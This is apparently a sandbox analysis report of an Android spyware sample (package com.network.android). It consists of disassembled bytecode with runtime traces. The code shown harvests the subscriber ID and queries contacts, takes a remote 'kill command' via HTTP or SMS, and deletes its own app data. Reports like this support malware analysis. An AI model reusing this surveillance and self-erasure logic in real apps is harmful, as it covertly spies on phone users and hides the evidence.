      94invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      95move-result-object v3
      97invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      98move-result-object v3
      100invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      101aget-object v3, v2, v0
      103invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      104move-result-object v3
      106invoke-interface {v1, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
      107goto_97: add-int/lit8 v0, v0, 0x1
      108goto/16 :goto_49
      109cond_9a: new-instance v4, Ljava/lang/StringBuilder;
      111invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      113invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      114move-result-object v4
      116const-string v5, "GetContentIM getDBFilePath does not maches fileName: "
      118invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      119move-result-object v4
      121invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      122move-result-object v3
      124invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      125move-result-object v3
      127invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      128try_end_b4: goto/16 :goto_97
      129catch_b5: move-exception v0
      130new-instance v2, Ljava/lang/StringBuilder;
      132invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      134invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      135move-result-object v2
      137const-string v3, "getDBFilePath iter exception- "
      139invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      140move-result-object v2
      142invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      143move-result-object v3
      145invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      146move-result-object v2
      148invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      149move-result-object v2
      151invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      152cond_d4: new-instance v0, Ljava/lang/StringBuilder;
      154invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      156invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      157move-result-object v0
      159const-string v2, "GetContentIM getDBFilePaths found "
      161invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      162move-result-object v0
      164invoke-interface {v1}, Ljava/util/List;->size()I
      165move-result v2
      167invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      168move-result-object v0
      170invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      171move-result-object v0
      173invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068660
        • p0: twitterGetContentIM getDBFilePaths found 0
      174return-object v1
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • com.network.android.SmsReceiver.a
      • com.network.android.SmsReceiver.c
      • java.io.StringWriter.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSystemService
      • android.telephony.TelephonyManager.getSubscriberId
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSystemService
      • android.telephony.TelephonyManager.getSubscriberId
      Strings
      • httpPingKillDelay exce:
      • httpPingKillDelay exce: 10
      • httpPingKillDelay provHandler.retCode:
      • httpPingKillDelay provHandler.retCode: -1
      • httpPingKillDelay - Succes in send Ping
      • sendHttp - Fail to send Ping:
      • kill - no internet!
      • phone
      • 985915257341634
      • ping SMS httpFirstLastPing not on line send sms mo kill
      • httpPingKillDelay:
      • sendHttp - retCode == 50 !!! kill command !!!:
      • httpPingKillDelay - other case
      Position Instruction Meta Information
      0try_start_0: new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "httpPingKillDelay exce: "
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      5iget-wide v1, p0, Lcom/network/android/a/e;->a:J
      7invoke-virtual {v0, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      8move-result-object v0
      10invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      11move-result-object v0
      13invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079530
        • p0: httpPingKillDelay exce: 10
      15invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      16move-result-object v0
      17new-instance v1, Ljava/io/StringWriter;
      19invoke-direct {v1}, Ljava/io/StringWriter;-><init>()V
      21iget-object v2, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      23invoke-static {v0, v1}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      25invoke-static {v0}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      26new-instance v0, Lcom/network/android/g;
      28invoke-direct {v0}, Lcom/network/android/g;-><init>()V
      29new-instance v2, Lcom/network/android/x;
      31iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      33invoke-direct {v2, v0}, Lcom/network/android/x;-><init>(Landroid/content/Context;)V
      35iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      37invoke-static {v0}, Lcom/network/android/SmsReceiver;->c(Landroid/content/Context;)Ljava/lang/String;
      38move-result-object v0
      40invoke-virtual {v1}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      41move-result-object v1
      42const/4 v3, 0x0
      43const/4 v4, 0x0
      45iget-object v5, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      46const/4 v6, 0x0
      48invoke-static/range {v0 .. v6}, Lcom/network/android/g;->a(Ljava/lang/String;Ljava/lang/String;Lcom/network/android/x;[Ljava/lang/String;[[BLandroid/content/Context;[B)V
      49new-instance v0, Ljava/lang/StringBuilder;
      51const-string v1, "httpPingKillDelay provHandler.retCode: "
      53invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      54iget v1, v2, Lcom/network/android/x;->a:I
      56invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      57move-result-object v0
      59invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      60move-result-object v0
      62invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079686
        • p0: httpPingKillDelay provHandler.retCode: -1
      63iget v0, v2, Lcom/network/android/x;->a:I
      64if-nez v0, :cond_66
      66const-string v0, "httpPingKillDelay - Succes in send Ping"
      68invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      70iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      72invoke-static {v0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      73goto_65: return-void
      74cond_66: iget v0, v2, Lcom/network/android/x;->a:I
      75const/4 v1, -0x1
      76if-ne v0, v1, :cond_ae
      78const-string v0, "sendHttp - Fail to send Ping: "
      80invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      • Time: 1079689
        • p0: sendHttp - Fail to send Ping:
      82const-string v0, "kill - no internet!"
      84invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079693
        • p0: kill - no internet!
      86iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      88const-string v1, "phone"
      90invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      • Time: 1079698
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: phone
        • Return:
          • android.telephony.TelephonyManager@b81366c
      91move-result-object v0
      92check-cast v0, Landroid/telephony/TelephonyManager;
      94invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
      • Time: 1079704
        • This:
          • android.telephony.TelephonyManager@b81366c
        • Return:
          • 985915257341634
      95move-result-object v0
      96if-eqz v0, :cond_90
      98const-string v0, "ping SMS httpFirstLastPing not on line send sms mo kill"
      100invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079765
        • p0: ping SMS httpFirstLastPing not on line send sms mo kill
      102iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      103const/4 v1, 0x5
      105invoke-static {v0, v1}, Lcom/network/android/a/c;->b(Landroid/content/Context;I)V
      106cond_90:
      107iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      109invoke-static {v0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      110try_end_95: goto/16 :goto_65
      111catch_96: move-exception v0
      112new-instance v1, Ljava/lang/StringBuilder;
      114const-string v2, "httpPingKillDelay: "
      116invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      118invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      119move-result-object v2
      121invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      122move-result-object v1
      124invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      125move-result-object v1
      127invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      128goto/16 :goto_65
      129cond_ae: iget v0, v2, Lcom/network/android/x;->a:I
      130const/16 v1, 0x32
      131if-ne v0, v1, :cond_ce
      132new-instance v0, Ljava/lang/StringBuilder;
      134const-string v1, "sendHttp - retCode == 50 !!! kill command !!!: "
      136invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      138iget-object v1, v2, Lcom/network/android/x;->b:Ljava/lang/String;
      140invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      141move-result-object v0
      143invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      144move-result-object v0
      146invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      148iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      150invoke-static {v0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      151goto/16 :goto_65
      152cond_ce:
      153const-string v0, "httpPingKillDelay - other case"
      155invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      157iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      159const-string v1, "phone"
      161invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      162move-result-object v0
      163check-cast v0, Landroid/telephony/TelephonyManager;
      165invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
      166move-result-object v0
      167if-eqz v0, :cond_ee
      169const-string v0, "ping SMS httpFirstLastPing not on line send sms mo kill"
      171invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      173iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      174const/4 v1, 0x5
      176invoke-static {v0, v1}, Lcom/network/android/a/c;->b(Landroid/content/Context;I)V
      177cond_ee:
      178iget-object v0, p0, Lcom/network/android/a/e;->b:Landroid/content/Context;
      180invoke-static {v0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      181try_end_f3: goto/16 :goto_65
      Cross References
      APIs
      • java.io.File.isDirectory
      • java.io.File.getName
      • java.lang.String.equals
      • java.io.File.listFiles
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • upgrade
      • Remove file:
      • Remove file: /data/data/com.network.android/cache
      • Remove file: /data/data/com.network.android/code_cache
      • Remove file: /data/data/com.network.android/files/api0.csv.part
      • Remove file: /data/data/com.network.android/files
      • Remove file: /data/data/com.network.android/shared_prefs
      • removeBridg-
      • Remove file: /data/data/com.network.android
      • Remove file result:
      • Remove file result: false
      • Remove file result: true
      Position Instruction Meta Information
      0try_start_0:
      1invoke-virtual {p0}, Ljava/io/File;->isDirectory()Z
      2move-result v0
      3if-eqz v0, :cond_71
      5invoke-static {}, Lcom/network/h/j;->a()Z
      • Time: 1067258
        • Return:
          • false
      6move-result v0
      7if-eqz v0, :cond_19
      9const-string v0, "upgrade"
      11invoke-virtual {p0}, Ljava/io/File;->getName()Ljava/lang/String;
      12move-result-object v1
      14invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      15move-result v0
      16if-eqz v0, :cond_19
      17goto_18: return-void
      18cond_19:
      19invoke-virtual {p0}, Ljava/io/File;->listFiles()[Ljava/io/File;
      20move-result-object v2
      21array-length v3, v2
      22const/4 v0, 0x0
      23move v1, v0
      24goto_20: if-ge v1, v3, :cond_71
      25aget-object v0, v2, v1
      26try_end_24: new-instance v4, Ljava/lang/StringBuilder;
      28const-string v5, "Remove file: "
      30invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      32invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      33move-result-object v5
      35invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      36move-result-object v4
      38invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      39move-result-object v4
      41invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067268
        • p0: Remove file: /data/data/com.network.android/cache
      • Time: 1067317
        • p0: Remove file: /data/data/com.network.android/shared_prefs
      • Time: 1067861
        • p0: Remove file: /data/data/com.network.android/code_cache
      • Time: 1067958
        • p0: Remove file: /data/data/com.network.android/files
      • Time: 1067973
        • p0: Remove file: /data/data/com.network.android/files/api0.csv.part
      43invoke-static {v0}, Lcom/network/h/b;->c(Ljava/io/File;)V
      • Time: 1067285
        • This:
          • /data/data/com.network.android/cache
        • Return:
          • true
      • Time: 1068041
        • This:
          • /data/data/com.network.android/files
        • Return:
          • false
      44goto_3d: add-int/lit8 v0, v1, 0x1
      45move v1, v0
      46goto/16 :goto_20
      47catch_41: move-exception v0
      48try_start_42: new-instance v4, Ljava/lang/StringBuilder;
      50const-string v5, "removeBridg- "
      52invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      54invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      55move-result-object v5
      57invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      58move-result-object v4
      60invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      61move-result-object v4
      63invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      64try_end_58: goto/16 :goto_3d
      65catch_59: move-exception v0
      66new-instance v1, Ljava/lang/StringBuilder;
      68const-string v2, "removeBridg- "
      70invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      72invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      73move-result-object v2
      75invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      76move-result-object v1
      78invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      79move-result-object v1
      81invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      82goto/16 :goto_18
      83cond_71: new-instance v0, Ljava/lang/StringBuilder;
      85const-string v1, "Remove file: "
      87invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      89invoke-virtual {p0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      90move-result-object v1
      92invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      93move-result-object v0
      95invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      96move-result-object v0
      98invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067283
        • p0: Remove file: /data/data/com.network.android/cache
      • Time: 1067619
        • p0: Remove file: /data/data/com.network.android/shared_prefs
      • Time: 1067932
        • p0: Remove file: /data/data/com.network.android/code_cache
      • Time: 1067984
        • p0: Remove file: /data/data/com.network.android/files/api0.csv.part
      • Time: 1068025
        • p0: Remove file: /data/data/com.network.android/files
      • Time: 1068055
        • p0: Remove file: /data/data/com.network.android
      100invoke-virtual {p0}, Ljava/io/File;->delete()Z
      101move-result v0
      102new-instance v1, Ljava/lang/StringBuilder;
      104const-string v2, "Remove file result: "
      106invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      108invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      109move-result-object v0
      111invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      112move-result-object v0
      114invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067301
        • p0: Remove file result: true
      • Time: 1068051
        • p0: Remove file result: false
      115try_end_9d: goto/16 :goto_18
      Cross References
      APIs
      • com.network.android.agent.NetworkApp.getSharedPreferences
      • android.content.SharedPreferences.getBoolean
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.SmsReceiver.b
      • com.network.android.agent.NetworkApp.e:Landroid/content/Context
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.getSystemService
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.b
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • NetworkPreferences
      • finish
      • dumpAll finishDump value:
      • dumpAll finishDump value:true
      • dumpAll started appstarted value:
      • dumpAll started appstarted value:true
      • LOG_AGENT_INIT_SUCCESED
      • NetworkApp dumpAll content
      • dump
      • dumpAll removeHistory URL:
      • dumpAll removeHistory URL: URL For Remove
      • alarm
      • read wake up
      • dumpAll:
      • dumpAll removeHistory : No URL to remove
      Position Instruction Meta Information
      0try_start_0: iget-boolean v0, p0, Lcom/network/android/agent/NetworkApp;->c:Z
      1if-nez v0, :cond_a2
      2const/4 v0, 0x1
      3iput-boolean v0, p0, Lcom/network/android/agent/NetworkApp;->c:Z
      5const-string v0, "NetworkPreferences"
      6const/4 v1, 0x0
      8invoke-virtual {p0, v0, v1}, Lcom/network/android/agent/NetworkApp;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      9move-result-object v0
      11const-string v1, "finish"
      12const/4 v2, 0x1
      14invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      15move-result v0
      16new-instance v1, Ljava/lang/StringBuilder;
      18const-string v2, "dumpAll finishDump value:"
      20invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      22invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      23move-result-object v1
      25invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      26move-result-object v1
      28invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1072957
        • p0: dumpAll finishDump value:true
      30invoke-static {p0}, Lcom/network/b/b;->d(Landroid/content/Context;)V
      31new-instance v1, Ljava/lang/StringBuilder;
      33const-string v2, "dumpAll started appstarted value:"
      35invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      36iget-boolean v2, p0, Lcom/network/android/agent/NetworkApp;->c:Z
      38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      39move-result-object v1
      41invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      42move-result-object v1
      44invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073756
        • p0: dumpAll started appstarted value:true
      46invoke-static {p0}, Lcom/network/android/SmsReceiver;->b(Landroid/content/Context;)Ljava/lang/String;
      47move-result-object v1
      48sput-object v1, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      49const/4 v1, 0x1
      50const/4 v2, 0x2
      52const-string v3, "LOG_AGENT_INIT_SUCCESED"
      54invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      56invoke-static {}, Lcom/network/android/j;->a()Landroid/os/Handler;
      57move-result-object v1
      59invoke-static {p0, v1}, Lcom/network/android/a/c;->a(Landroid/content/Context;Landroid/os/Handler;)V
      60if-nez v0, :cond_a3
      62sget-object v0, Lcom/network/android/agent/NetworkApp;->e:Landroid/content/Context;
      63if-eqz v0, :cond_6b
      65invoke-static {}, Lcom/network/h/b;->a()Z
      66move-result v0
      67if-eqz v0, :cond_6b
      69const-string v0, "NetworkApp dumpAll content"
      71invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      73invoke-static {}, Lcom/network/b/b;->h()V
      75const-string v0, "dump"
      77invoke-static {v0}, Lcom/network/media/f;->a(Ljava/lang/String;)V
      78goto_6b:
      79sget-object v0, Lcom/network/b/b;->z:Ljava/lang/String;
      80if-eqz v0, :cond_c4
      81new-instance v0, Ljava/lang/StringBuilder;
      83const-string v1, "dumpAll removeHistory URL: "
      85invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      87sget-object v1, Lcom/network/b/b;->z:Ljava/lang/String;
      89invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      90move-result-object v0
      92invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      93move-result-object v0
      95invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074400
        • p0: dumpAll removeHistory URL: URL For Remove
      97const-string v0, "alarm"
      99invoke-virtual {p0, v0}, Lcom/network/android/agent/NetworkApp;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      100move-result-object v0
      101check-cast v0, Landroid/app/AlarmManager;
      102const/16 v1, 0x7530
      104sget-object v2, Lcom/network/b/b;->z:Ljava/lang/String;
      106invoke-static {p0, v1, v2, v0}, Lcom/network/android/agent/NetworkApp;->a(Landroid/content/Context;ILjava/lang/String;Landroid/app/AlarmManager;)V
      107const v1, 0x493e0
      109sget-object v2, Lcom/network/b/b;->z:Ljava/lang/String;
      111invoke-static {p0, v1, v2, v0}, Lcom/network/android/agent/NetworkApp;->a(Landroid/content/Context;ILjava/lang/String;Landroid/app/AlarmManager;)V
      112const v1, 0x927c0
      114sget-object v2, Lcom/network/b/b;->z:Ljava/lang/String;
      116invoke-static {p0, v1, v2, v0}, Lcom/network/android/agent/NetworkApp;->a(Landroid/content/Context;ILjava/lang/String;Landroid/app/AlarmManager;)V
      117goto_a2: return-void
      118cond_a3:
      119const-string v0, "read wake up"
      121invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074189
        • p0: read wake up
      123invoke-static {p0}, Lcom/network/android/agent/NetworkApp;->b(Landroid/content/Context;)V
      124try_end_ab: goto/16 :goto_6b
      125catch_ac: move-exception v0
      126new-instance v1, Ljava/lang/StringBuilder;
      128const-string v2, "dumpAll: "
      130invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      132invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      133move-result-object v2
      135invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      136move-result-object v1
      138invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      139move-result-object v1
      141invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      142goto/16 :goto_a2
      143try_start_c4:
      144const-string v0, "dumpAll removeHistory : No URL to remove"
      146invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      147try_end_c9: goto/16 :goto_a2
      APIs
      • android.content.Context.getContentResolver
      • android.content.ContentResolver.query
      • android.database.Cursor.getCount
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToNext
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.toString
      • java.lang.String.hashCode
      • java.lang.Integer.valueOf
      • java.util.Map.put
      • java.lang.Thread.sleep
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.isClosed
      • android.database.Cursor.close
      • android.database.Cursor.isClosed
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.isClosed
      • android.database.Cursor.close
      Strings
      • Load Contacts Map start:
      • get contacts scaner Exception-
      • Load Contacts Map end
      • get contacts scaner get resolver Exception-
      • readCalendar finally - cursor was closed
      Position Instruction Meta Information
      0try_start_0:
      1iget-object v0, p0, Lcom/network/android/monitor/observer/j;->a:Landroid/content/Context;
      3invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      4move-result-object v0
      6invoke-static {}, Lcom/network/android/monitor/observer/i;->a()Landroid/net/Uri;
      7move-result-object v1
      8const/4 v2, 0x0
      9const/4 v3, 0x0
      10const/4 v4, 0x0
      11const/4 v5, 0x0
      13invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      • Time: 1079619
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://com.android.contacts/contacts
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@df361e7
      14move-result-object v2
      16invoke-interface {v2}, Landroid/database/Cursor;->getCount()I
      17move-result v1
      19invoke-static {v1}, Lcom/network/android/monitor/observer/i;->a(I)I
      20try_end_19:
      21invoke-interface {v2}, Landroid/database/Cursor;->getCount()I
      22try_end_1c: move-result v1
      23if-lez v1, :cond_7b
      24const/4 v1, 0x0
      25try_start_20: new-instance v3, Ljava/lang/StringBuilder;
      27const-string v4, "Load Contacts Map start: "
      29invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      31invoke-interface {v2}, Landroid/database/Cursor;->getCount()I
      32move-result v4
      34invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      35move-result-object v3
      37invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      38move-result-object v3
      40invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      41goto_36:
      42invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
      43move-result v3
      44if-eqz v3, :cond_8a
      45add-int/lit8 v1, v1, 0x1
      46new-instance v3, Ljava/lang/StringBuilder;
